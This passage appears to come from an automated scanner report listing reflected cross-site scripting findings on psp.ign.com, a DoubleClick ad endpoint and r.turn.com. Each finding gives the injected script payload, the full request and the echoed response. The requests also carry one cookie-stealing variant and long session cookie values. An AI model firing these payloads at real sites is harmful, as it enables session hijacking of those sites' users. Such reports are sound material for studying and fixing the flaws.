Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-12684-809634135-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043849404v-1n-12mc+1297043849404mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 171507

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PSP & PSPgo Re
...[SNIP]...
ypeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/reviews.html?c6d42"-alert(1)-"27e5919a050=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.425. http://psp.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 517d6"><script>alert(1)</script>c4ae9d343d6 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/upcoming.html?517d6"><script>alert(1)</script>c4ae9d343d6=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:03 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:03 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-26954-1903845156-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:03 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043823281v-1n-12mc+1297043823281mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 151533

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>New PSP & PSPgo Ga
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/upcoming.html?517d6"><script>alert(1)</script>c4ae9d343d6=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.426. http://psp.ign.com/index/upcoming.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/upcoming.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f9e7b"-alert(1)-"897d70d61ed was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/upcoming.html?f9e7b"-alert(1)-"897d70d61ed=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:09 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:09 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c03-25644-486663543-7;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:09 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043829352v-1n-12mc+1297043829352mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 150542

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>New PSP & PSPgo Ga
...[SNIP]...
peof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/upcoming.html?f9e7b"-alert(1)-"897d70d61ed=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.427. http://psp.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b1904"><script>alert(1)</script>dd3f646c8a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /index/videos.html?b1904"><script>alert(1)</script>dd3f646c8a=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:27 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:27 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c08-32430-277530467-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:27 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043847390v-1n-12mc+1297043847390mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109921

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN PSP: Games, Ch
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/index/videos.html?b1904"><script>alert(1)</script>dd3f646c8a=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.428. http://psp.ign.com/index/videos.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/index/videos.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 5a8f9"-alert(1)-"5bad9daa72d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /index/videos.html?5a8f9"-alert(1)-"5bad9daa72d=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Server: Jetty/5.1.10 (Linux/2.6.9-78.0.22.ELsmp amd64 java/1.6.0_13
Content-Type: text/html;charset=UTF-8
Expires: Mon, 07 Feb 2011 01:57:29 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:29 GMT
Connection: close
Connection: Transfer-Encoding
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c04-14395-1534158317-6;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:29 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: freq=c-1297043849662v-1n-12mc+1297043849662mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Content-Length: 109860

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN PSP: Games, Ch
...[SNIP]...
typeof _comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/index/videos.html?5a8f9"-alert(1)-"5bad9daa72d=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.429. http://psp.ign.com/objects/027/027595.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/objects/027/027595.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 80539"-alert(1)-"702b4d47499 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Remediation detail

Request

GET /objects/027/027595.html?80539"-alert(1)-"702b4d47499=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 113033
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=8sc1nb3i20cki;Path=/includes
Set-Cookie: freq=c-1297043862101v-1n-12mc+1297043862101mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c0a-23512-1397002340-1;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:42 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:57:42 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:42 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
   <title>IGN: Pac-Man: Cham
...[SNIP]...
_comscoreGuard == 'undefined') {
       COMSCORE.beacon({
        c1:2,
        c2:"3000068",
        c3:"",
        c4:"http://psp.ign.com/objects/027/027595.html?80539"-alert(1)-"702b4d47499=1",
        c5:"",
        c6:"",
        c15:"" });
       var _comscoreGuard = new Object();
   }
</script>
...[SNIP]...

3.430. http://psp.ign.com/objects/027/027595.html [name of an arbitrarily supplied request parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://psp.ign.com
Path:	/objects/027/027595.html

Issue detail

The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 1cb60"><script>alert(1)</script>ddcfe001da7 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /objects/027/027595.html?1cb60"><script>alert(1)</script>ddcfe001da7=1 HTTP/1.1
Host: psp.ign.com
Accept: */*
Accept-Language: en
User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0)
Connection: close

Response

HTTP/1.1 200 OK
Content-Length: 113088
Content-Type: text/html;charset=UTF-8
Set-Cookie: decc=US;Path=/;Domain=.ign.com
Set-Cookie: JSESSIONID=1igac8od4qwyu;Path=/includes
Set-Cookie: freq=c-1297043859539v-1n-12mc+1297043859539mv+1mn+12wwe~0;Path=/;Domain=.ign.com
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Set-Cookie: NGUserID=a016c07-32464-1443633186-3;Path=/;Domain=.ign.com;Expires=Tue, 06-Aug-30 01:57:39 GMT
Set-Cookie: i18n-cc=US;Path=/;Domain=.ign.com
Expires: Mon, 07 Feb 2011 01:57:39 GMT
Cache-Control: max-age=0, no-cache, no-store
Pragma: no-cache
Date: Mon, 07 Feb 2011 01:57:39 GMT
Connection: close

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<title>IGN: Pac-Man: Cham
...[SNIP]...
<img src="http://b.scorecardresearch.com/b?c1=2&c2=3000068&c3=&c4=http://psp.ign.com/objects/027/027595.html?1cb60"><script>alert(1)</script>ddcfe001da7=1&c5=&c6=&c15=C67BD3C1&cv=1.3&cj=1" style="display:none" width="0" height="0" alt="" />
...[SNIP]...

3.431. http://pubads.g.doubleclick.net/gampad/ads [slotname parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://pubads.g.doubleclick.net
Path:	/gampad/ads

Issue detail

The value of the slotname request parameter is copied into the HTML document as plain text between tags. The payload a7925<script>alert(1)</script>2ab1d78d3c6 was submitted in the slotname parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /gampad/ads?correlator=1297045506437&output=json_html&callback=GA_googleSetAdContentsBySlotForSync&impl=s&client=ca-pub-6817975146191503&slotname=TheChive_300x250_HPa7925<script>alert(1)</script>2ab1d78d3c6&page_slots=TheChive_300x250_HP&cookie_enabled=1&ga_vid=548067397.1297045520&ga_sid=1297045520&ga_hid=981265322&url=http%3A%2F%2Fthechive.com%2F%3Fign105ab01%2522%253E%253Cscript%253Ealert(document.cookie)%253C%2Fscript%253E958cbd566d4&ref=http%3A%2F%2Fburp%2Fshow%2F20&lmt=1297067119&dt=1297045519684&cc=10&biw=985&bih=1031&ifi=1&adk=2277017155&u_tz=-360&u_his=2&u_java=true&u_h=1200&u_w=1920&u_ah=1156&u_aw=1920&u_cd=16&u_nplug=9&u_nmime=44&flash=10.1.103 HTTP/1.1
Host: pubads.g.doubleclick.net
Proxy-Connection: keep-alive
Referer: http://thechive.com/?ign105ab01%22%3E%3Cscript%3Ealert(document.cookie)%3C/script%3E958cbd566d4
Accept: */*
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: id=c653243310000d9|189445/973580/15010,2818894/957634/15009,2409535/850532/15008,1352495/437351/15008|t=1294099968|et=730|cs=gfdmbifc

Response

HTTP/1.1 200 OK
P3P: policyref="http://googleads.g.doubleclick.net/pagead/gcn_p3p_.xml", CP="CURa ADMa DEVa TAIo PSAo PSDo OUR IND UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR"
Content-Type: text/javascript; charset=UTF-8
X-Content-Type-Options: nosniff
Date: Mon, 07 Feb 2011 02:26:23 GMT
Server: gfp-be
Cache-Control: private, x-gzip-ok=""
X-XSS-Protection: 1; mode=block
Content-Length: 2749

GA_googleSetAdContentsBySlotForSync({"TheChive_300x250_HPa7925<script>alert(1)</script>2ab1d78d3c6":{"_type_":"html","_expandable_":false,"_html_":"\x3c!DOCTYPE HTML PUBLIC \"-//W3C//DTD HTML 4.01//EN\"\"http://www.w3.org/TR/html4/strict.dtd\"\x3e\x3chtml\x3e\x3chead\x3e\x3cstyle\x3ea:link{color:#f
...[SNIP]...

3.432. http://r.turn.com/server/pixel.htm [fpid parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://r.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the fpid request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ecfd1"><script>alert(1)</script>5216b920dbc was submitted in the fpid parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=ecfd1"><script>alert(1)</script>5216b920dbc&sp=y&admeld_call_type=iframe&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: r.turn.com
Proxy-Connection: keep-alive
Referer: http://www30a2.glam.com/gad/glamadapt_srv.act?;ga_output=html;ga_exadvids=50000417,50001916,2457154;ga_exadids=5000025383;_ge_=6^2^cba0523816c7edc43ac471afdf2dd34b;ga_adb=ade;sid=112351129691745689711;browser=2;co=US;dma=511;;;;flg=66;;zone=/;nt=b;cc=us;aft=p;ec=ron;p=0;p=1;!c=1;!c=nptr;ec=taut;ec=te;ec=teb;ec=tgt;ec=tls;ec=ttec;ia=pc;pec=be;rmt=exp;rmt=ov;rsk=y;rtbp=1;vads=test;vec=blif;vec=sp;vpec=blif;bt=nbt;atf=u;pfl=0;dt=s;!c=hagl;!c=hagn;afid=420105803;dsid=796794;uv=2;;tt=i;u=b00210076z51mac2ab9,f0fu2sa,g10001u;sz=300x250;tile=1;ord=2439329240005463.5;;afid=420105803;dsid=796794;url=ydn23y;seq=1;ux=f-fu2sa,tid-1,pid-0076z51mac2ab9,aid-2,g-66,1,;_glt=360:0:20:25:22:973:2011:2:6;a_tz=-360;_g_cv=2;;;dt=s;!c=hagl;!c=hagn;;lbt=nbt;sbt=eh;sbt=rl;sbt=ru;
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.13 (KHTML, like Gecko) Chrome/9.0.597.84 Safari/534.13
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: adImpCount=FM4QLcaMabkQsarcOBMTT_qd1v3GGeBcoJK0MOl0KG-Y481wEkFtGX7HudJA1SwJY9n9GIWJHDTqbWbTuEexfNzeQdD3uMEbsSJGoH6nZcvCzn_rbeUw4N91a2HFDwx7Wl6PMIbl8VoYkne2SJkXTcTcqhcYEXFRrx1COjt-xQdPBFgEFn33aBMbAqV_0XEIioGKZSAftgkVYZTzRayYVmmTJdkIn7237siDdt9MzJqJi5T6FYiHf9o35IlREqTNFveKpsZQ30qpNKi15RJt04BNhaXhDlSq6EvznmypgJEkna5GLuKLpEu7eZEeTMi7F6sK_rp2soXzwueUGRFartfze4TUjaNUIXjW8HpTdIXW8uxzXCZHw_1hR9tJint6dsPDEFhRxd_Mub3GEI1LN-tHiIt90vCIZrFIVkRcrTHWSuqW6r5ZIwUtscKD_QT9RhXOUlzX0--TPsid5EqGlKaR8fzj-CgEMyGy4iMXI1WxKbXh9CKgY6S3LP_zmj75AgqPmyW7n-K57XLwzviwi0UeS0QSNHqXIchkIsQCETGT3yD6yFHAIahzcKETB33UwCPq2GhFCxYySztyqVkKk9fqbN4-YU4FEz0wwkD5vsFOGK_87tDq8e92tNo34emrEgGEUj-NO1cCBiKRN0KNH1ftcOyrV1OLoU5x9aMp-92fSDdx8Pm4E6I95eyuD_EIQOJmu9RYL7YOIJ6DsZdIlrLgwokXGxtO8_jRpe316oYDuH7CMSEB_S7o6Xm3tvDBfH77IJVG0N6dycTdcjtOKF0Cz2TbSViJ-oT4nVLBUOQ7zE-OOnjPRQ6BZXJCY0oCMrkBfNspHfysXvb7GqOmGNAITbT7Z6AmMx12CVhoBV8PCKPJoslzeIPsOadDQ5GApTHEeUcb_20FLCe61hOZos4ND7pDMbh_Nz4asivfvnRRu_fmnuOn7vvqoBU15Zmhn2aVSJry2cIXXaBci8YswRWnz3-1lFmH8NpHbFKrPy3hBObtf8ALhKpons6mVN9Ng_E4yJzpnqztVh_CB-KMHlM4At-mEES-WC-9xjj3t3cnzJw50Wq6BglWv58k-98YkSbTm3kPOUdWBiWoLi0oN0AgeHAdeFjGHSfjDkMzE5p5e_oJDB2Um-liToPNlmN15FjrbRSBV8G9GwEgDofeTOxem0_gMApf3YWMEr3kQAQnXe4HjQMTBDROpzYRLGofXKwaWNtdj1-GtHzOUqyENh2k1W2pFwJOjkpENaGP0tqhG0BtDC_eTH_Ts10GvA6WhyC22lBHkEPeNKFx7RiTWcHRNLuEX2-svGHkdhG53xdJo9qHwXLy45nY7LSpUbn803gUXikBp5CFzTHxBLV0jIUUb9PGuTCtW-hvx86uIjCl7RrDpkAZSszkN92RjKcOSHyDTphfUd0ZqQTAbIYvZtNr_wQwmIEY35OpKNWhyGwNPlAh_ANj4laYRoTBJxnGQ7wgWZt0CSpxlrfASU5W2a6su59vlF-h6V4zet13tlPhRMEiyYm825vPff2nJDmVgFpIKs_vIo7sFsppJ43d8oTEgInxyFT6vScD8wD9aZjmMC0w6HS0HlWcNr1j-PhGS2ikng608Ubz0iz0TtbwhgQZq5IdyfSisA1KqAwL3sZErWVr76O0bqQTEPkhkBBP4vNeu_uKiDKKl73FedJ05pAh6qV14YUcXNrVmSSI1FzEzQ65n9aZSqRKUiLFvw0_FzJQi642bOf20jjwau1yNWbWc_OZc_OPEEY_dnkrDVdmeoMCTOxN_xl7C-3y_RTPHX8tA53fNzl8qfH897V8IhWPCe1DLrZ9lRQtTCZwINCJg6hyABA61hUJaqPVyX7fV7Pa1PW0-yYXb_USKuin2pZCaBr_uY_2UBH6Bm4UktJmd6sVQvXXEqhe9E5LsneRLFWbUdQszzXxD5egB584f5Iq0VaWXCofBTTX6PHG8K6lFCCN0TTnR1jCog1stnuLrLH_TLw0g_9l8j595C25K_O7nXuUqzkznnHJS2oIivO1MtzkhTD8tggahFLAwdtimGiAzgIbfwh3tPXiXBZiPEc6jmaSPplk32IRb7Tl08IFN1OghxmtWT_y47n5TtZS9Ky93uZuiaOzgh6RPqobZokxjCycBjwJJ-OqeZ3YCRoZ5XICuXWVHfipzGbbMT7XgVwScM8a1QBrHN9hJ559oPfWNXLGQYJF8WI3xWHXIXB86oJHZOjQy7IdFPhSTsF2yrOAh9s72IpPTbIy0ryOZR5kHQoGKZaDQPufKDCKOsAs5UyVIQTo0ztnk49jL0nNFaq4usSu0TQiqXjP7CIAd_5FtzMDApKZjTZ9VwWqS_hi3W5FLLAcz8HdwETYSzM0iqfAGlpVHegt_TIDru8ZVGlo2JchDi2BE0kETeswJqfjIM8eqB1CZXkSQ7Z_VjVnYvzBVNyB9AksqD2lQZb2X0IEqN843HNpf9LL79Gl1KBsoCUhcPx0GvFd6LDM_NesCTjn8qfPanRhqfFt_Mz5uEh2A3HFoGkf8ppxZxL6925r_GgrDoF5KcCR0z_dNX3kzjeRcgqW8BhR69hQhpeZrZnEJ52ohaD3WrTkTUj4YJ6Td6PLaDgaJxtMnnZrfAlG0SSD0cpxrho96Q5aYPi9en1l66z-sdlCvM2HwHHvukFOG1d5EaBIpvNzbIjvRqOmzYDhYzHqcbaWBj06fa97gFmB5jdUYj5pSK3CD2Yuk0PK5FYetxUklFsdind5sgdq4uZcD2KLx9Zf7jaxnwz6suaPAnsGTiQgiUvKmhf1LhrytQYKxDy-h4T29iDJXVr_vHZNnZTSMo3FOqO76V7e32Mz948gl-62XtaGUS8uw5NCpnBNXGUaigKHIg84ueIc4t5Yp3YWsvWh2i358DyJOyzgpnBHfTKfL-U_Busa7oEsjSep6DjzyTifPlN_P4smDk3kLq_iHqbXQ5svnKXdR0fKJFj2seLH8BbDFMsPiVsBIQ44v1dSgCalvY0FxkkJ5w0OZeWQP34jwLIAF168EspxmNyBZAxjbmEt8kjG7dRMykkE2LHXhz6x23r28D5B1-HnnnOalxwc8pVPIG67O2v9MtuGBypG0oO1sVM2Vbs7HFOP9G8F0R3RxUgEDCioFUEKPhCNOF99OExqDKIS0y-D3H8kAPjeIydjzyH2Ws7PKyE1dGY4WEg1BMpUBtxwX2H-7BKKuqPq2iSXQ7keQevoGn3niEhwrkx3I523rYfTIHt_4ntge3wT6HrPHWBJpD6Hr91CxZq9sV9Jmp33y8raIDjGaQc_8c0sEToR_ODvxgcgJ32KFhukOoA2cRquiPMf-CiwpIi4ayv6yWP-tXJ__VAnBFQL8j9ZaHEtyQCLoYLPIaWZ3CmWGBp_xNH3WlqbXOyrf_ATBbMNQCTCxOAxrjPhFf5rtBKDWKm24urmdIW_ZXAbYCZmLsz6YiVpaNRjSC9cVWjph0vEeVDn94cCqpnjE0z1BuYxXU6aN8KvfgQRgY4ZaCnGHk-ja9faWwfL-_-bPH3YFMHRKzulr4fOZJphXH_Th5iLN0VczjS8Jh9TEFyiFtC1iUdTIWwbUQ3HeHZgtn1yA0PmWEs3TAjOPMDh8jx0WcV7eT-TG33S7CRXLm9kG5yXyNmxCrzJ; fc=8Kodsw1QIRNJBnpSjhgJ0uErbJkTJYsNaCBFpaSI5yP-4Y1aL5T0hqj7dZyIiRNIWMZgDtcnKM_xOWbKnaMIO3_WyzVPxgN3VkTg_cPuFqziwJJKZupkpjfaBrjFc6z7RfOX1MD02-o6SZ1b0c_HcUiZ1Q4B83ZCB0ZNq2R2Ygc; pf=vcPDWdxa5bRnzYCFna8dt7hwFpEjJFamBf-ed9eCgkru2q8_Jo62qDoNU1sRcsTDbsXLbP8cgvu5kdFpiCdvW34lLZyvKs0UYrWi2iSsDx65o3Pzwoz6403H7SSItm-xFnOkZRhnTAf1OsSeg86x6N9he2SzgZbMiSxi7XoC0oDOTz_hW1W1inw2PPTXkr5M6IAD_gZxI523_TIIsV7tK-AIolHB94EOuCprrHzPsXFXUf33lMkSWcP-I3s4DQm5; uid=3011330574290390485; rrs=1%7C2%7C3%7C4%7Cundefined%7C6%7C7%7C8%7C9%7C1001%7C1002%7C1003%7C10%7C1004%7C1005; rds=14987%7C15011%7C15011%7C15011%7Cundefined%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C15011%7C14983%7C15011%7C15003; rv=1

Response

HTTP/1.1 200 OK
Server: Apache-Coyote/1.1
P3P: policyref="http://ad.turn.com/w3c/p3p.xml", CP="NOI CURa DEVa TAIa PSAa PSDa IVAa IVDa OUR IND UNI NAV"
Cache-Control: max-age=0, no-cache, no-store, private, must-revalidate, s-maxage=0
Pragma: no-cache
Set-Cookie: uid=3011330574290390485; Domain=.turn.com; Expires=Sat, 06-Aug-2011 02:25:18 GMT; Path=/
Content-Type: text/html;charset=UTF-8
Vary: Accept-Encoding
Date: Mon, 07 Feb 2011 02:25:18 GMT
Content-Length: 377

<html>
<head>
</head>
<body>
<iframe name="turn_sync_frame" width="0" height="0" frameborder="0"
   src="http://cdn.turn.com/server/ddc.htm?uid=3011330574290390485&rnd=2417534444175845666&fpid=ecfd1"><script>alert(1)</script>5216b920dbc&nu=n&t=&sp=y&purl="
   marginwidth="0" marginheight="0" vspace="0" hspace="0" allowtransparency="true"
   scrolling="no">
...[SNIP]...

3.433. http://r.turn.com/server/pixel.htm [sp parameter] previous next

Summary

Severity:	High
Confidence:	Certain
Host:	http://r.turn.com
Path:	/server/pixel.htm

Issue detail

The value of the sp request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2853"><script>alert(1)</script>ace0f205978 was submitted in the sp parameter. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Request

GET /server/pixel.htm?fpid=4&sp=d2853"><script>alert(1)</script>ace0f205978&admeld_call_type=iframe&admeld_user_id=6acccca4-d0e4-464e-a824-f67cb28d5556&admeld_adprovider_id=24&admeld_call_type=iframe&admeld_callback=http://tag.admeld.com/match HTTP/1.1
Host: r.turn.com
Proxy-Connection: keep-alive
